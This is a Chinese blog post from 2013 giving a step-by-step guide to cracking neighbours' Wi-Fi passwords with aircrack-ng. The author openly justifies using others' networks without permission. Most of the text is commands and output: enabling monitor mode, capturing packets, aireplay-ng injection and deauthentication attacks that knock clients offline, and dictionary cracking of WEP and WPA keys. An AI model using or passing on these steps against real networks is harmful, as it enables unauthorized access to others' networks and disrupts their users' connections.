教你破解无线路由

Posted by yangchw on February 3, 2013

阳历年前一直住在美立方,刚去美立方的时候,从2月初到3月初,无法上网,于我这个宅人真是憋闷一场。好在后来情况发生变化,美立方是个新小区,3月初的时候小区宽带业务终于开始推行了,10M带宽一年只需1099元,于是我和一起合租的众人就办理了。第一次用10M的网,上网速度真是快,下载东西不亦乐乎。时间飞快,好景不长,阳历年后租房合同到期,我和豆子搬到了对面的大羊坊,终于又要无网可上一段时间了。

想到北京的北漂者很多都像我这样吧,一年总要苦逼的搬一次家,搬一次家就会有段时间断网。没有网络生活就会失去很多乐趣,电视神马的已经落后时代了,我已经有很多年没看过电视了,网络于我几乎是必须品。

说了这么多,其实只想说一句话——对于我们流浪的北漂者没事蹭下网也是被逼无奈之举,被蹭者请原谅我们吧,这只是我们屌丝小小的一次逆袭巴拉巴拉巴拉巴拉…..

好吧,正文开始。

1. 准备工作

a. 准备一个linux系统(推荐ubuntu),需要用它安装我们主要的破解工具:Aircrack-ng;或者直接从网上下载BT5更好,就不需要安装aircrack-ng了。 b. 准备一个字典文件,最好是破解wpa专用的,或者使用本文最后附带的字典文件。

2. 安装Aircrack-ng

首先从Aircrack-ng官网下载源码,并解压缩:

xiaoxie@xiaoxie-laptop:~$ wget http://download.aircrack-ng.org/aircrack-ng-1.1.tar.gz
xiaoxie@xiaoxie-laptop:~$ tar -xzvf aircrack-ng-1.1.tar.gz
`</pre>

进入文件目录进行编译安装:

<pre>`xiaoxie@xiaoxie-laptop:~$ cd aircrack-ng-1.1
xiaoxie@xiaoxie-laptop:~/aircrack-ng-1.1$ make
xiaoxie@xiaoxie-laptop:~/aircrack-ng-1.1$ make install
`</pre>

如果没有错误,表示安装成功。

### 3\. 确认网卡兼容性

首先使用lspci查看下系统使用了哪种网卡:

<pre>`xiaoxie@xiaoxie-laptop:~$ lspci
......
04:00.0 Network controller: Broadcom Corporation BCM4313 802.11b/g/n 
Wireless LAN Controller (rev 01)
05:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. 
RTL8101E/RTL8102E PCI Express Fast Ethernet controller (rev 02)
`</pre>

在其列出的信息中即可看到我电脑当前使用的无线网卡类型是BCM4313,然后到这个[地址](http://www.aircrack-ng.org/doku.php?id=compatibility_drivers#which_is_the_best_card_to_buy)看下Aircrack-ng是否兼容它。如果兼容,那么恭喜你,你可以在你自己的Linux系统下使用Aircrack-ng;否则,下载BT5吧。

如果你安装的是Ubuntu,在这里有一个[列表](https://help.ubuntu.com/community/WifiDocs/Driver),内容非常详细,几乎列出了所有常见无线网卡的驱动支持情况和安装方法。还有一个地方是不可错过的,就是著名的[compat-wireless](http://linuxwireless.org/)。

### 4\. 使用Aircrack-ng破解

使用Aircrack-ng破解wifi的一般步骤如下:

#### 4.1 开启无线网卡的监听模式(airmon-ng)

首先需要查看下当前系统无线网卡的名称,打开一个终端,输入如下命令:

<pre>`xiaoxie@xiaoxie-laptop:~$ iwconfig
lo        no wireless extensions.

wlan0      IEEE 802.11abg  ESSID:&quot;xxx&quot;  
          Mode:Managed  Frequency:2.437 GHz  Access Point: 38:xx:45:BE:xx:xx   
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Power Management:off

eth0      no wireless extensions.
`</pre>

这条命令会列出所有的无线网卡,比如上面,可用的无线网卡名称就是wlan0。下面开启此网卡的监听模式:

<pre>`xiaoxie@xiaoxie-laptop:~$ sudo airmon-ng start wlan0
......
Interface   Chipset     Driver

wlan0       Unknown     brcmsmac - [phy0]
                (monitor mode enabled on mon0)
`</pre>

看到`monitor mode enabled on mon0`类似说明文字,说明开启成功。

#### 4.2 开始监听周围的数据包(airodump-ng)

airodump-ng 命令后可带一些参数,比如指定监听频道,监听指定的AP等,具体使用方法如下:

<pre>`airodump-ng -c 1 --bssid 00:11:22:33:44:55 -w output mon0
`</pre>

-c :后加数字,指定所要监听的频道(范围1-11)

--bssid :后加AP的mac地址,指定所要监听的AP

-w :后加名称,指定监听到的可用数据包写入文件的名称

mon0 :开启了监听模式的网卡名称

首先使用默认命令查看周围的AP

<pre>`xiaoxie@xiaoxie-laptop:~$ sudo airodump-ng mon0
`</pre>

![AP列表](http://moodpo.com/usr/uploads/2014/01/1727750536.png)

上图显示了周围可以搜索到的AP(上列表)和终端(下列表)及详细信息。下面是对列表的具体解释:

**上列表**

BSSID:显示的是AP(热点)的mac地址

PWR:表示信号的强度,信号强度是一个负值,值越大信号越强

Beacons:广播速率,数据增长越快说明这个AP越活跃,数据交换量越大 #Data:可用数据,这里指可用于破解的数据包 #/s:每秒接收到可用数据包的个数

CH:AP所使用的频道

MB:AP的带宽,现在一般都是54M的了

ENC:密钥加密方式,一般是WEP/WAP或WAP2两种

CIPHER:密钥管理和数据加密方式,一般有CCMP和TKIP两种

AUTH:授权方式,一般有PSK/OPEN,PSK指预共享方式分发密钥

ESSID:AP的标识名称

**下列表**

STATION:表示客户端的mac

Rate:表示客户端与AP交换数据速率

Lost:客户端丢包个数

Packets:客户端总的广播包个数

Probes:客户端连接的AP点名称

根据以上信息,选择一个信号较好的AP进行破解:

<pre>`xiaoxie@xiaoxie-laptop:~$ sudo airodump-ng -c 6 --bssid 00:11:22:33:44:55 --ivs -w output mon0
`</pre>

注:--ivs参数表示只将接收到的ivs数据包写入到文件中,如果破解的AP加密方式是WEP最好加上此参数,如果是WAP加密方式的请去掉此参数。

#### 4.3 攻击指定AP(aireplay-ng)

攻击AP可使AP发送更多的可用数据包,对于WEP方式来说是IVs数据包,对于WAP方式来说是握手包(M1-M7)。aireplay-ng命令提供了九种攻击方式,它们应用于不同的场景发挥不同的作用。

<pre>`Attack 0: Deauthentication 
Attack 1: Fake authentication 
Attack 2: Interactive packet replay 
Attack 3: ARP request replay attack 
Attack 4: KoreK chopchop attack 
Attack 5: Fragmentation attack
Attack 6: Cafe-latte attack 
Attack 7: Client-oriented fragmentation attack
Attack 8: WPA Migration Mode
Attack 9: Injection test
`</pre>

之前开启的终端不要关闭,重新打开一个终端。

##### 4.3.1 在WEP场景下

如果你攻击的是使用WEP加密方式的AP,可以进行如下攻击:

进行注入测试

<pre>`aireplay-ng -9 -a 目标MAC地址  mon0
`</pre>

1)断开一个已知已经连接AP的客户端,使其重新发送认证数据包IVs

<pre>`aireplay-ng -1 0 -a 目标MAC地址 -h 客户端MAC mon0
`</pre>

从AP获取包含伪随机码生成算法的数据包,数据包只包含少量的密钥,但可用于组合成各种注入包

<pre>`aireplay-ng -5 -b 目标MAC地址 -h 客户端MAC mon0
`</pre>

2)如果你在airodump-ng命令后没有看到连接到AP的客户端,可使用下面的命令攻击

<pre>`aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 目标MAC地址 -h 本机MAC地址 mon0
`</pre>

在使用上述命令后,在前一个终端中,接收到的数据包(#Data列)将会迅速增长,增长到大约1万时就可以进行WEP的破解了。

##### 4.3.2 在WAP场景下

如果你攻击的是使用WAP加密方式的AP,可以进行如下攻击:

向AP发送取消认证的数据包,使一个或多个客户端与AP断开,迫使其发送握手包进行重新链接

<pre>`aireplay-ng -0 10 -a 目标MAC地址 -c 客户端MAC地址 MAC mon0
`</pre>

在使用上述命令后,在前一个终端中,#Data列数据将会增长,直到终端中显示如下描述时就可以进行WAP的破解了。

<pre>`WPA handshake: 00:14:6C:7E:40:80
`</pre>
> PS:更多攻击方式的使用示例请看这里吧:http://www.aircrack-ng.org/doku.php?id=aireplay-ng

#### 4.4 破解数据包(aircrack-ng)

打开第三个终端,开始破解:

<pre>`aircrack-ng -w password.lst -b 目标MAC地址 output*.cap

-w 指定使用的字典文件

PS:WEP加密方式再复杂的密码在5分钟内就可以破解出来,而WAP加密方式就要看字典文件、密码复杂度以及运气和人品了。

5. 参考:

1.aireplay-ng的九种攻击方式:http://jim19770812.blogspot.com/2012/05/aircrack-ng.html

2.各种破解教程:http://www.aircrack-ng.org/doku.php?id=tutorial

3.Ubuntu支持无线网卡驱动信息:https://help.ubuntu.com/community/WifiDocs/Driver